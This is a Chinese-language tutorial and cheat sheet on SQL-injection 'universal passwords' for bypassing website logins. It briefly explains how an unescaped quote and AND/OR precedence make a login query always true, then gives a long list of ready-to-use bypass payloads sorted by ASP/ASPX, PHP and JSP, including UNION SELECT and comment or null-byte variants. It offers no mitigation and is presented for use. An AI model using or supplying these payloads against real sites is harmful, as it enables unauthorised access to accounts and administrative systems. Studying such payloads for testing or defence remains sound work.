一.万能密码原理

用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。针对此BBS论坛,当用户登录时,后台执行的数据库查询操作(SQL语句)是【Select user id,user type,email From usersWhere user id=’用户名’And password=’密码’】。由于网站后台在进行数据库査询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为 【Select user id,user type,email from users Where user id=’admin’And password=’2’or’1’】。同时,由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,目适用传递性。因此,此SQL语句在后台解析时,分成两句【Select user id,user type,email From users Where user id=’admin’ And password=’2’】和【’1’】,两句bool值进行逻辑or运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。

详解

首先,我们在正常登陆的时候执行的查询操作是

1
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'

这里我们举一个万能密码的例子,比如输入 1′ or 1=1 or ‘1’=’1

1
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='111111(随便输的)'

首先了解一下优先级:or<and,在优先级相同的情况下,代码从左向右执行

现在来读一下执行的操作

1.AND Password=’111111(随便输的)’不拿命填的情况下,你这密码是蒙不对的,所以该段会返回false(正确与否都没关系)

2.Username=’1’正常情况下为1的用户名也不存在,返回false(正确与否都没关系)

3.OR 1=1 OR 这个返回肯定为Ture

整体为:f/t or t or f/t,根据or的作用,连接起来的语句只要有一个语句为t,整段就为t

二.万能密码列举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码

1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码

‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码

1’or’1’=’1
admin’ OR 1=1/*